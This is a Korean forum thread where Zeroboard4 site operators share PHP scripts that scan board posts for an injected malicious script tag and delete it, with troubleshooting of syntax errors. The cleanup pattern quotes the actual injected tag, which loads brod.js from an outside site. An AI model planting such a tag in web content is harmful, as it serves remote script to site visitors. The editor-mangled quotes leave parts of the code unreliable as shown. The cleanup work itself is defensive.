제로보드4의 보안 취약점에 대한 정보와 패치 자료들을 공유하는 곳입니다.
제로보드4로 사이트를 운영하시는 분들의 많은 관심과 정보 공유 부탁드립니다.
보안 관련 내용이 아닌 경우 삭제될 수 있습니다.
<?
require "../bbs/lib.php"; // ◀--- 사이트의 상황에 맞게 수정해주세요~
if(!$connect) $connect = dbconn();
$View_Level="1"; // 실행권한조정(현재1등급)
if(!$member) $member=member_info();
if(!$member[no]) Error("권한이 없습니다(1)! ","window.close");
if($member[level]>$View_Level) Error("권한이 없습니다(2)! ","window.close");
$que2 = "select name from zetyx_admin_table";
$result2=mysql_query($que2) or Error(mysql_error());
while($temp2 = mysql_fetch_array($result2)){
$board_name=$temp2[name];
$check=0;
echo("$board_name - 악성스크립트 인젝션공격 확인시작!<br/>\n");
$que = "select no, memo from zetyx_board_$board_name order by no desc";
$result=mysql_query($que) or Error(mysql_error());
while($data = mysql_fetch_array($result)){
$mem_no = $data[no];
$check_memo=$data[memo];
///////////////////////////////////////////////////////////////////////////////////////////////////////////
$sp_change_word = "SCRIPT Language=JavaScript src="./;
$sp_change_word_pattern ="/".str_replace("\0","\\0",preg_quote($sp_change_word,"/"))."/i";
$check_memo = preg_replace($sp_change_word_pattern, "", $check_memo);
///////////////////////////////////////////////////////////////////////////////////////////////////////////
if($check_memo<>$data[memo]) {
$check=1;
echo("$mem_no | ");
}
}
if($check==0) {
echo("$board_name - 악성스크립트 인젝션공격이 없었습니다!<br/><br/>\n");
} else {
echo("<br/>$board_name - 해당번호의 게시물에 포함되어 스크립트가 있습니다!<br/><br/>\n");
}
}
echo("악성스크립트 확인시에는 따로 프로그램을 돌려주세요!~ <a href="./stream_run.php" target=_blank>[삭제링크]</a><br/><br/>\n");
if($connect) mysql_close($connect);
?>
위에 소스를 stream.php 로 해서 제로보드 폴더에 넣고 실행해도 뜨지가않네요.
Parse error: syntax error, unexpected '/' in /home/hosting_users/sealplus/www/bbs/stream.php on line 22
이렇게 나오던데.....
메일이 와서 한번 들어와 봤더니, 쪽지도 와 있네요.
위의 stream.php는 인젝션공격이 있었는지 확인하는 용도로 만들었던 것입니다만,
소스가 좀 이상하네요. 제가 적어드린것 맞는지?
38번 라인이면,
echo("악성스크립트 확인시에는 따로 프로그램을 돌려주세요!~
이 부분인데, 이 부분은 삭제하셔도 상관 없는 부분이고요.
" 와 \" 이것이 현재 게시판에서 표현하면서 잘못되어지는 부분 같습니다.
에디터의 단점이겠지요.
stream.php는 확인용도이고,
밑에 글 보시면, stream_run.php가 실질적으로 인젝션된 내용들을 삭제하는 부분 되겠습니다.
stream_run.php의 내용 다시금 올려봅니다.
<?
///////////////////////////////////////////////////////////////////////////////////////////////////////////
// 아래에 삭제할 스크립트를 적어주세요!
$sp_change_word = "<SCRIPT Language=JavaScript src="http://hanphil.or.kr/bbs/data/young/brod.js></script>";
///////////////////////////////////////////////////////////////////////////////////////////////////////////
require "../bbs/lib.php"; // ◀--- 사이트의 상황에 맞게 수정해주세요~
///////////////////////////////////////////////////////////////////////////////////////////////////////////
if(!$connect) $connect = dbconn();
$View_Level="1"; // 실행권한조정(현재1등급)
if(!$member) $member=member_info();
if(!$member[no]) Error("권한이 없습니다(1)! ","window.close");
if($member[level]>$View_Level) Error("권한이 없습니다(2)! ","window.close");
$sp_change_word2 = "<";
$sp_change_word_pattern2 = "/".str_replace("\0","\\0",preg_quote($sp_change_word2,"/"))."/i";
$sp_change_word3 = preg_replace($sp_change_word_pattern2, "<", $sp_change_word);
echo("'$sp_change_word3'<br/>스크립트를 삭제합니다.<br/><br/>\n");
$que2 = "select name from zetyx_admin_table";
$result2=mysql_query($que2) or Error(mysql_error());
while($temp2 = mysql_fetch_array($result2)){
$board_name=$temp2[name];
$check=0;
echo("$board_name - 악성스크립트 삭제시작!<br/>\n");
$que = "select no, memo from zetyx_board_$board_name order by no desc";
$result=mysql_query($que) or Error(mysql_error());
while($data = mysql_fetch_array($result)){
$mem_no = $data[no];
$check_memo=$data[memo];
///////////////////////////////////////////////////////////////////////////////////////////////////////////
$sp_change_word_pattern = "/".str_replace("\0","\\0",preg_quote($sp_change_word,"/"))."/i";
$check_memo = preg_replace($sp_change_word_pattern, "", $check_memo);
///////////////////////////////////////////////////////////////////////////////////////////////////////////
if($check_memo<>$data[memo]) {
$check=1;
echo("$mem_no | ");
$check_memo=addslashes($check_memo);
mysql_query("update zetyx_board_$board_name set memo='$check_memo' where no='$mem_no'") or error(mysql_error());
}
}
if($check==0) {
echo("$board_name - 악성스크립트 인젝션공격이 없었습니다!<br/><br/>\n");
} else {
echo("<br/>$board_name - 해당번호의 게시물에 포함되어있는 스크립트가 모두 삭제되었습니다!<br/><br/>\n");
}
}
if($connect) mysql_close($connect);
?>
위의 소스에서 6번라인
require "../zboard/lib.php"; // ◀--- 사이트의 상황에 맞게 수정해주세요~
이 부분은 쉽게 고치 실수 있겠지요?
게시판내에 삽입된 스크립트를 DB상으로 한번 확인해 보시고요.
4번라인 부분에 삭제할 내용들을 넣으면 됩니다.
$sp_change_word = "<SCRIPT Language=JavaScript src="http://hanphil.or.kr/bbs/data/young/brod.js></script>";
윗 부분인데,
여러번의 인젝션 공격이 있었기에, 하나이상의 스크립트 구문들 확인하시고,
띄워쓰기도 들어간 공격도 있었기에 그것도 확인하셔서, 어떻든, memo필드의 첫부분에서 지워줄것들을 "따옴표 안에 집어넣어주시고, 한번만 실행시켜주시면 되는 부분입니다.
에디터가 소스를 마음대로 바꾸는군요. 특히 따옴표 부분..
그래서 또 소스가 좀 이상해집니다. 참..
첨부로 올려드릴께요~
인터니즈2님 아래 게시글에서 stream.php 만 사용하시고, 문제되는 자바 스크립트를 [8차공격-내용추가] 에 추가하여서 사용하시면 무난할 것 같습니다.

$sp_change_word = "SCRIPT Language=JavaScript src=";
22 라인을 위에처럼 바꿔보세요.
그리고 나면 38 라인에서 에러날겁니다.
그때는
echo("악성스크립트 확인시에는 따로 프로그램을 돌려주세요!~ <a href="stream_run.php target=_blank>[삭제링크]</a><br/><br/>\n);
이렇게 바꿔주세요.
다만.stream_run.php 파일이 stream.php 파일과 같은 위치에 있어야 합니다.